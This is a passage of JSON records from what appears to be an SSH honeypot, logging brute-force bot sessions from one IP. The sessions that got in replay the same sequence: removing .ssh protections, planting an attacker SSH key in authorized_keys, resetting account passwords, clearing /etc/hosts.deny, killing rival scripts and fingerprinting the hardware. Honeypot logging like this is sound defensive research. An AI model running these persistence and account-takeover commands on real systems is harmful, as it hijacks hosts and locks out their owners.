nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:23:03.456832+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:23:04.233234+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:23:04.847672+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:23:05.726787+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:23:06.284285+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:23:06.962554+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:23:07.523259+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:23:08.618160+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:23:09.178724+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:23:10.324652+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Centos2024","method":"password","accepted":true,"tier":"other"}]} {"id":"c42b8575-fc39-4b20-91b6-87312935acb3","name":"ginger-supple-toucan","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":54640,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:22:47.880518+00:00","ended_at":"2026-08-27T01:22:49.903226+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"36794fca-0e8b-4b05-b9ca-aabbe596d824","name":"placid-gleaming-goshawk","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":33584,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:22:43.768731+00:00","ended_at":"2026-08-27T01:22:44.853123+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bfcb867e-cf3f-4e83-b971-4cb292be2b4a","name":"grassy-snowy-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":36980,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":520,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:19:50.901302+00:00","ended_at":"2026-08-27T01:19:52.508860+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:19:26.289889+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:19:26.850864+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:19:33.077176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:19:33.965482+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:19:34.482546+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xY345Oh7xliW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:19:34.997087+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:19:35.513792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:19:36.210752+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:19:36.725728+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:19:37.926087+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:19:38.458157+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:19:39.672542+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:19:40.200041+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:19:40.897520+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:19:41.417910+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:19:42.266866+00:00","kind":"output","latency_ms":null,"data":" 01:19:42 up 6 days, 22:09, 0 user, load average: 0.28, 0.33, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:19:42.784861+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:19:43.573438+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:19:44.094607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:19:44.894904+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:19:45.409269+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:19:45.984642+00:00","kind":"output","latency_ms":null,"data":"top - 01:19:45 up 6 days, 22:09, 0 user, load average: 0.28, 0.33, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:19:46.508749+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:19:46.897738+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:19:47.441551+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:19:47.879291+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:19:48.402527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:19:48.803748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:19:49.320953+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:19:50.382167+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:19:50.902406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:19:52.328438+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!QAZ2wsx3edc","method":"password","accepted":true,"tier":"other"}]} {"id":"2349bf23-1229-4bb7-891f-e00c0d75c479","name":"woven-feral-egret","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":36992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:19:31.045169+00:00","ended_at":"2026-08-27T01:19:32.915949+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8166fe0b-d5a7-4e41-9a1d-75b56a834221","name":"vivid-windswept-kudu","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":36990,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:19:28.668164+00:00","ended_at":"2026-08-27T01:19:29.989493+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"baf9edd4-8eab-45b6-99e9-d2bceea49c71","name":"regal-ivory-manatee","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":36252,"username":"client","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":514,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:17:07.613064+00:00","ended_at":"2026-08-27T01:17:08.769650+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T01:16:38.163820+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:16:39.213408+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:16:48.789576+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:16:49.217480+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:16:49.753288+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nkwErr6rRXLh4\\nkwErr6rRXLh4\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:16:50.266204+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nkwErr6rRXLh4\\nkwErr6rRXLh4\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:16:50.806452+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:16:51.392571+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:16:51.927152+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:16:53.355598+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:16:53.866831+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:16:55.324515+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:16:55.860645+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:16:56.650659+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:16:57.160391+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:16:57.967364+00:00","kind":"output","latency_ms":null,"data":" 01:16:57 up 6 days, 22:07, 0 user, load average: 0.21, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:16:58.473943+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:16:58.800774+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:16:59.320414+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:16:59.800585+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:17:00.309601+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:17:01.082672+00:00","kind":"output","latency_ms":null,"data":"top - 01:17:01 up 6 days, 22:07, 0 user, load average: 0.21, 0.22, 0.25\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:17:01.597923+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:17:02.485581+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:17:03.001366+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:17:03.836863+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:17:04.348793+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:17:05.063660+00:00","kind":"output","latency_ms":null,"data":"client"},{"seq":29,"at":"2026-08-27T01:17:05.580398+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:17:07.094200+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:17:07.615027+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:17:08.613222+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"client","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"d04a6b8c-f2bc-47a8-9b20-06f5c1926088","name":"gnarled-dewy-francolin","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":52834,"username":"client","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:16:46.644630+00:00","ended_at":"2026-08-27T01:16:48.621084+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"client","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5d17a6cf-3a5f-4af8-90f2-4381fa87165f","name":"woven-emerald-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":52820,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:16:43.428106+00:00","ended_at":"2026-08-27T01:16:44.692389+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3e870c39-c9a8-4024-99f4-6357f24d91dc","name":"thrifty-solemn-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":53860,"username":"edwin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":513,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:14:00.724812+00:00","ended_at":"2026-08-27T01:14:02.097768+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2242,"events":[{"seq":1,"at":"2026-08-27T01:13:32.348681+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:13:32.859566+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:13:43.591110+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:13:44.459247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:13:44.973248+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nGwHEBSWvryFp\\nGwHEBSWvryFp\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:13:45.655028+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nGwHEBSWvryFp\\nGwHEBSWvryFp\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:13:46.164160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:13:46.521537+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:13:47.038779+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:13:48.241889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:13:49.220299+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:13:50.461158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:13:50.970956+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:13:51.268148+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:13:51.777711+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:13:52.044613+00:00","kind":"output","latency_ms":null,"data":" 01:13:52 up 6 days, 22:03, 0 user, load average: 0.19, 0.13, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:13:52.646587+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:13:53.440348+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:13:53.953490+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:13:54.315818+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:13:54.830194+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:13:55.220463+00:00","kind":"output","latency_ms":null,"data":"top - 01:13:55 up 6 days, 22:04, 0 user, load average: 0.19, 0.13, 0.12\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:13:55.737086+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:13:56.238855+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:13:56.752499+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:13:57.415792+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:13:57.921963+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:13:58.201075+00:00","kind":"output","latency_ms":null,"data":"edwin"},{"seq":29,"at":"2026-08-27T01:13:58.774185+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:14:00.213950+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:14:00.725676+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:14:01.930158+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"edwin","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"36062e27-e4a3-4c33-bc87-566bc1e8c904","name":"stormy-courtly-moose","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":54396,"username":"edwin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:13:42.696801+00:00","ended_at":"2026-08-27T01:13:43.434335+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"edwin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f2128fa0-4e09-4406-8d0a-31ffe69a8c6f","name":"courtly-ashen-gadwall","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":54388,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:13:37.450242+00:00","ended_at":"2026-08-27T01:13:38.665761+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7927f727-777d-425d-a918-c42e95a40e8c","name":"dusty-honest-plover","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":51866,"username":"docker","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:10:45.323484+00:00","ended_at":"2026-08-27T01:10:46.841590+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T01:10:17.750071+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:10:18.255658+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:10:28.514548+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:10:28.857697+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:10:29.376258+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Aa123456\\nvZA6L5r966JE\\nvZA6L5r966JE\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:10:29.893891+00:00","kind":"input","latency_ms":null,"data":"echo \"Aa123456\\nvZA6L5r966JE\\nvZA6L5r966JE\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:10:30.414534+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:10:31.229674+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:10:31.767142+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 